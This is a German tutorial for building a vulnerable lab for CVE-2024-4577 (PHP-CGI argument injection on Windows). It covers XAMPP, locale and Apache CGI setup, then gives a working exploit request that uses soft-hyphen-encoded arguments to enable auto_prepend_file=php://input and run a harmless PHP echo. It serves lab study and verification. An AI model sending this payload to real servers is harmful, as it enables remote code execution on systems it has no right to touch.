
Lab für CVE-2024-4577 erstellen
| CVE | Beschreibung | CVSSv3 |
| CVE-2024-4577 | PHP-CGI Argument-Einschleusung Schwachstelle | 9.8 |
„CVE-2024-4577 ist eine kritische Argument-Einschleusungssicherheitslücke in PHP, die zur Remote-Codeausführung (RCE) ausgenutzt werden kann. Laut Forschern von DEVCORE ist dieser Fehler auf Fehler bei der Zeichenkodierungsumwandlung zurückzuführen, die die „Best Fit“-Funktion unter Windows betreffen.“ -
Laden Sie XAMPP herunter (8.1.25 / PHP 8.1.25) Nach der Installation von XAMPP überprüfen Sie die PHP-Version. Sie sollte 8.1.25 sein. Die PHP-Version kann durch Ausführen des Befehls „php -v“ in der Befehlszeile überprüft werden. Falls ein Fehler auftritt, sollte sie zur PATH-Variable von PHP hinzugefügt werden.
Das Gebietsschema muss geändert werden. Gehen Sie dazu zu Systemsteuerung > Uhr und Region > Region. Stellen Sie das Format auf Japanisch, Traditionelles Chinesisch oder Vereinfachtes Chinesisch ein. Klicken Sie auf Verwaltung > Regions- und Sprachoptionen ändern und wählen Sie das entsprechende Gebietsschema aus.
Wenn PHP nicht im CGI-Modus läuft, sollten Sie diese Einstellungen vornehmen.
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
AddType application/x-httpd-php .php
<Directory "C:/xampp/php">
Options +ExecCGI
AllowOverride None
Require all granted
</Directory>
LoadModule php_module "C:/xampp/php/php8apache2_4.dll". Setzen Sie '#' an den Anfang der Zeile.Speichern Sie die Änderungen und starten Sie die Apache-Instanz.
Wenn die Ausgabe des PHP-Codes, der im Body der folgenden POST-Anfrage gesendet wird, in der Antwort zu sehen ist, ist der Ausnutzungsschritt erfolgreich.
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{HOST}}
User-Agent: curl/8.3.0
Accept: /
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
echo "vulnerable";
?>
Diese Laborumgebung ist ausschließlich zu Bildungszwecken gedacht und sollte nicht in Live-Umgebungen verwendet werden. Ich übernehme keine Verantwortung für Schäden oder Verluste, die durch unsachgemäße Verwendung entstehen könnten. Benutzer müssen diese Umgebung auf eigenes Risiko nutzen.